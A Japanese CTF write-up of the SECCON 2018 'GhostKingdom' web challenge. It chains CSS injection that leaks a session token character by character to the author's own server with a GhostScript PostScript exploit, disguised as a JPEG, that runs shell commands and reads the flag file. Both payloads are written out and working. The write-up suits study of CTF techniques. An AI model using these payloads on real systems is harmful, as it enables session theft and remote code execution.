SECCON CTF 2018 予選 write up (Web問題)

# はじめに
チーム「ott0」で参加しました．
今回は私が解いたWeb問のwrite upを書きたいと思います．

# GhostKingdom(Web, 248)
## 概要
解法としては，大きく分けて２つのステージに分かれていると思います．

1. CSS injectionを用いてローカルネットワークから接続できるアカウントのセッションクッキーを奪う
1. GhostScriptの脆弱性を用いてサーバ上でシェルを実行させ，`/var/www/html/FLAG`配下のフラグを盗む

## 解法
### 1. CSS injection編
まず，アカウントを作成してログインを行う．
そうすると以下のようなメニューが存在していることがわかる．：

- `Message to admin` ... Adminへのメッセージを送る．このとき，プレビュー画面にてクエリパラメータで挿入したCSSが反映される．
- `Take a screenshot` ... URLを入力すると，そのページのスクリーンショットを取得する．
- `Upload image` ... この段階では利用できない．どうやらローカルネットワークからアクセスすると利用できるらしい．（後に画像をJPEGからGIFに変換するページであることがわかる）


まず，`Take a screenshot`というメニューから，以下のURLのページのスクリーンショットを取得してもらうと，localhostからのアクセスを行っていることがわかる．

```
http://0.0.0.0
```
スクリーンショット↓
![81586a24b7ea2ce4c6ab5b3ef9751a03.png](https://qiita-image-store.s3.amazonaws.com/0/195669/327ba14c-69db-63e3-d68f-05f5c57f4dbd.png)


つまり，スクリーンショットのサーバは，`Upload image`メニューにアクセスすることが可能である．
しかし，スクリーンショットだとページのソースが見れず，そのメニューにアクセスするためのクエリが分からない．
そこで，スクリーンショットを取得するサーバからセッションクッキーを奪い，自分のPCからそのメニューにアクセスできるようにしたい．

そのために，まずは以下のURLのスクショを取得することで，自分のアカウントでログインしてもらう．

```
http://0.0.0.0/?action=login&user=hoge&pass=hogehoge
```

そして，セッションクッキーを取得するために，`Message to admin`メニューを利用することにする．
このメニューではCSSの挿入が可能である他，メッセージのプレビューページに `<input type="hidden" name="csrf" value="xxxxxxxxxxxxxxxxxxxxxx">`というタグが存在する（このタグの値はセッションクッキーの値と同じである）．
そこで，スクリーンショットのサーバにてCSS injectionを行い，csrfのパラメータを窃取することにする．
その後，以下のように，inputタグのcsrfパラメータを窃取するCSSをBase64でエンコードした値を生成する（ [こちらのページ](https://speakerdeck.com/lmt_swallow/css-injection-plus-plus-ji-cun-shou-fa-falsegai-guan-todui-ce?slide=11) を参考にしました．）

``` css
input[name=csrf][value^="a"] { 
  background-image: url(http://[My IP Address]?a); 
} 
input[name=csrf][value^="b"] { 
  background-image: url(http://[My IP Address]?b); 
} 
input[name=csrf][value^="c"] { 
  background-image: url(http://[My IP Address]?c); 
} 
...
--------以下略--------
```

そして，スクリーンショットのメニューにて以下のようなURLを入力し，スクリーンショットを取得してもらう．

```
http://0.0.0.0/?css=[上記の悪性cssをBase64エンコードした値]&msg=hoge&action=msgadm2
```
１文字目，２文字目，...と手作業でアクセスを行った（計22文字...汗）．
その結果，スクリーンショットを取得するサーバの`csrf`パラメータ（セッションクッキー）を取得することができた．

### 2. GhostScript 編

窃取したセッションクッキーを用いてアクセスすると，先ほどは利用できなかった`Upload image`メニューが利用できることがわかる．
そのメニューでは，アップしたJPEG形式の画像をGIF形式に変換する仕組みが実装されていた．
その際，`ghostMagick.cgi`というcgiが利用されていたので，調べてみると，おそらくこのシステムにはImageMagick(GraphicsMagick)という画像編集のソフトが利用されており，それに使用されているGhostScriptにはコード実行の脆弱性があることがわかった．
[このページ](https://www.exploit-db.com/exploits/45243/)でGhostScriptの脆弱性を用いた攻撃手法が紹介されていたので，それを参考に（というかそのまま利用して）以下のようなスクリプトを`shellExec.jpeg`というファイル名で作成した．

```
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG/) currentdevice putdeviceprops
```
以上のJPEGファイルをアップして変換させると，以下のような結果が表示された．
<img width="1234" alt="スクリーンショット 2018-10-28 16.04.13.png" src="https://qiita-image-store.s3.amazonaws.com/0/195669/caef28fc-a9f6-5f81-09a8-f6975b438270.png">

おっ！`ls`コマンドの結果が返ってきてる！ということで，以下のようにコマンド部を変更して実行した．

```
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%cat /var/www/html/FLAG/FLAGflagF1A8.txt) currentdevice putdeviceprops
```

そうすると，フラグを得ることができた．

<img width="1219" alt="スクリーンショット 2018-10-28 2.46.54.png" src="https://qiita-image-store.s3.amazonaws.com/0/195669/ce9654ba-f466-f34c-6135-dbaa8bde1301.png">

FLAG: SECCON{CSSinjection+GhostScript/ImageMagickRCE}